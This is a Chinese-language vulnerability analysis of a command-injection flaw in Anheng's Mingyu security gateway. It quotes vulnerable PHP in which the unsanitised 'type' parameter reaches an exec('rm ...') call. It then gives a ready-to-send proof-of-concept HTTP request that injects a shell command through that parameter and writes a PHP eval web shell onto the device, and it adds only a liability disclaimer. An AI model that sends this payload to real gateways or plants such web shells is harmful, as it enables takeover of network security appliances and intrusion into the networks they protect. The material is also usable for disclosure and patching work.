目錄
注意
漏洞描述
漏洞位置
漏洞代碼
POC：
注意
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失，均由使用者本人負責，文章作者不為此承擔任何責任。
漏洞描述
安恒信息-明御安全網(wǎng)關(guān)存在命令執(zhí)行漏洞，導(dǎo)致攻擊者可以直接執(zhí)行系統(tǒng)命令，從而控制目標系統(tǒng)。
漏洞位置
/usr/local/webui/webui/modules/aaa/portal_auth.mds
漏洞代碼
$portal_catalog = "/usr/local/webui/auth/portal";
...
//重置
if($get_url_param == "aaa_portal_auth_config_reset"){
$type = $_GET['type'];
$logo_type = $type.'_logo_pic';
$bkg_type = $type.'_bkg_pic';
$config = file_get_contents($portal_catalog."/config.txt");
$config_arr = json_decode($config,true);
$config_dft = file_get_contents($portal_catalog."/default_config.txt");
$config_dft_arr = json_decode($config_dft,true);
if($type == 'adv'){
$config_arr[diff] = $config_dft_arr[diff];
}
$config_arr[$type] = $config_dft_arr[$type];
//刪除圖片
exec('rm '.$portal_catalog.'/'.$type.'/images/'.$type.'*');
$new_config = json_encode($config_arr);
file_put_contents($portal_catalog."/config.txt",$new_config);
backupAuthFile($type);
echo '{"reset":"'.$type.'"}';
}
分析上述代碼如果 $get_url_param 等于?"aaa_portal_auth_config_reset"，即可執(zhí)行下面代碼。文章來源：http://www.zghlxwxcb.cn/news/detail-524915.html
其中$get_url_param 通過$_GET['g']來獲得。漏洞發(fā)生位置在exec('rm '.$portal_catalog.'/'.$type.' /images/'.$type.'*');其中$type通過?$_GET['type']來獲得。從而可以截斷代碼，從而執(zhí)行自己的命令。文章來源地址http://www.zghlxwxcb.cn/news/detail-524915.html
POC：
GET /webui/?g=aaa_portal_auth_config_reset&type=1%3Becho%20'%3C%3Fphp%20%40eval(%24_POST%5B'cmd'%5D)%3Bulink(FILE)%3B%3F%3E'%20%3E%2Fusr%2Flocal%2Fwebui%2Ftest1.php%3B HTTP/1.1
Host:
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9到了這里，關(guān)于安恒信息-明御安全網(wǎng)關(guān) 命令執(zhí)行漏洞分析的文章就介紹完了。如果您還想了解更多內(nèi)容，請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！
